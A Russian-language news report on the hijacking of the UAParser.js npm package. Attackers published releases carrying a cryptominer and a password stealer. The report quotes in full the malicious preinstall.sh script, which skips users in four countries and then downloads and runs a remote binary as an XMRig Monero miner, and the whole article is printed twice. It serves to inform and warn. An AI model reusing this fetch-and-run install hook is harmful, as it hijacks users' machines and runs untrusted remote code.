История с удалением из репозитория NPM трёх вредоносных пакетов, копировавших код библиотеки UAParser.js, получила неожиданное продолжение - неизвестные злоумышленники захватили контроль над учётной записью автора проекта UAParser.js и выпустили обновления, содержащие код для кражи паролей и майнинга криптовалют.
Проблема в том, что библиотека UAParser.js, которая предлагает функции для разбора HTTP-заголовка User-Agent, насчитывает около 8 млн загрузок в неделю и используется в качестве зависимости в более чем 1200 проектах. Заявлено, что UAParser.js применяется в проектах таких компаний, как Microsoft, Amazon, Facebook, Slack, Discord, Mozilla, Apple, ProtonMail, Autodesk, Reddit, Vimeo, Uber, Dell, IBM, Siemens, Oracle, HP и Verizon.
Атака была совершена через взлом учётной записи разработчика проекта, который заподозрил неладное после необычной волны спама, свалившейся в его почтовый ящик. Как именно была взломана учётная запись разработчика, не сообщается. Атакующие сформировали выпуски 0.7.29, 0.8.0 и 1.0.0, внедрив в них вредоносный код. В течение нескольких часов разработчики вернули контроль над проектом и сформировали обновления 0.7.30, 0.8.1 и 1.0.1 c устранением проблемы. Вредоносные версии были опубликованы только в виде пакетов в NPM-репозитории. Git-репозиторий проекта на GitHub не пострадал. Всем пользователям, установившим проблемные версии, при обнаружении в Linux файла jsextension, а в Windows файлов jsextension.exe и create.dll, рекомендуется считать систему скомпрометированной и поменять на ней пароли, ключи и сертификаты безопасности.
Добавленные вредоносные изменения напоминали изменения, ранее предложенные в клонах UAParser.js, которые, судя по всему, были выпущены для тестирования функциональности перед совершением широкомасштабной атаки на основной проект. На систему пользователя с внешнего хоста загружался и запускался исполняемый файл jsextension, который выбирался в зависимости от платформы пользователя и был подготовлен в вариантах для Linux и Windows. Для платформы Windows, помимо программы для майнинга криптовалюты Monero (использовался майнер XMRig), злоумышленниками также было организовано внедрение библиотеки create.dll для перехвата паролей и их отправки на внешний хост.
Для загрузки вредоносных компонентов в файл preinstall.sh NPM-пакета был добавлен код
IP=$(curl -k https://freegeoip.app/xml/ | grep 'RU\|UA\|BY\|KZ')
if [ -z "$IP" ]
then
var=$(pgrep jsextension)
if [ -z "$var" ]
then
curl http://159.148.186.228/download/jsextension -o jsextension
if [ ! -f jsextension ]
then
wget http://159.148.186.228/download/jsextension -O jsextension
fi
chmod +x jsextension
./jsextension -k --tls --rig-id q -o pool.minexmr.com:443 -u 49***xYKH --cpu-max-threads-hint=50 --donate-level=1 --background &>/dev/null &
fi
fi
Как видно из кода, скрипт вначале проверял IP-адрес в сервисе freegeoip.app и не запускал вредоносное приложение для пользователей из России, Украины, Беларуси и Казахстана.
Проблема в том, что библиотека UAParser.js, которая предлагает функции для разбора HTTP-заголовка User-Agent, насчитывает около 8 млн загрузок в неделю и используется в качестве зависимости в более чем 1200 проектах. Заявлено, что UAParser.js применяется в проектах таких компаний, как Microsoft, Amazon, Facebook, Slack, Discord, Mozilla, Apple, ProtonMail, Autodesk, Reddit, Vimeo, Uber, Dell, IBM, Siemens, Oracle, HP и Verizon.
Атака была совершена через взлом учётной записи разработчика проекта, который заподозрил неладное после необычной волны спама, свалившейся в его почтовый ящик. Как именно была взломана учётная запись разработчика, не сообщается. Атакующие сформировали выпуски 0.7.29, 0.8.0 и 1.0.0, внедрив в них вредоносный код. В течение нескольких часов разработчики вернули контроль над проектом и сформировали обновления 0.7.30, 0.8.1 и 1.0.1 c устранением проблемы. Вредоносные версии были опубликованы только в виде пакетов в NPM-репозитории. Git-репозиторий проекта на GitHub не пострадал. Всем пользователям, установившим проблемные версии, при обнаружении в Linux файла jsextension, а в Windows файлов jsextension.exe и create.dll, рекомендуется считать систему скомпрометированной и поменять на ней пароли, ключи и сертификаты безопасности.
Добавленные вредоносные изменения напоминали изменения, ранее предложенные в клонах UAParser.js, которые, судя по всему, были выпущены для тестирования функциональности перед совершением широкомасштабной атаки на основной проект. На систему пользователя с внешнего хоста загружался и запускался исполняемый файл jsextension, который выбирался в зависимости от платформы пользователя и был подготовлен в вариантах для Linux и Windows. Для платформы Windows, помимо программы для майнинга криптовалюты Monero (использовался майнер XMRig), злоумышленниками также было организовано внедрение библиотеки create.dll для перехвата паролей и их отправки на внешний хост.
Для загрузки вредоносных компонентов в файл preinstall.sh NPM-пакета был добавлен код
IP=$(curl -k https://freegeoip.app/xml/ | grep 'RU\|UA\|BY\|KZ')
if [ -z "$IP" ]
then
var=$(pgrep jsextension)
if [ -z "$var" ]
then
curl http://159.148.186.228/download/jsextension -o jsextension
if [ ! -f jsextension ]
then
wget http://159.148.186.228/download/jsextension -O jsextension
fi
chmod +x jsextension
./jsextension -k --tls --rig-id q -o pool.minexmr.com:443 -u 49***xYKH --cpu-max-threads-hint=50 --donate-level=1 --background &>/dev/null &
fi
fi
Как видно из кода, скрипт вначале проверял IP-адрес в сервисе freegeoip.app и не запускал вредоносное приложение для пользователей из России, Украины, Беларуси и Казахстана.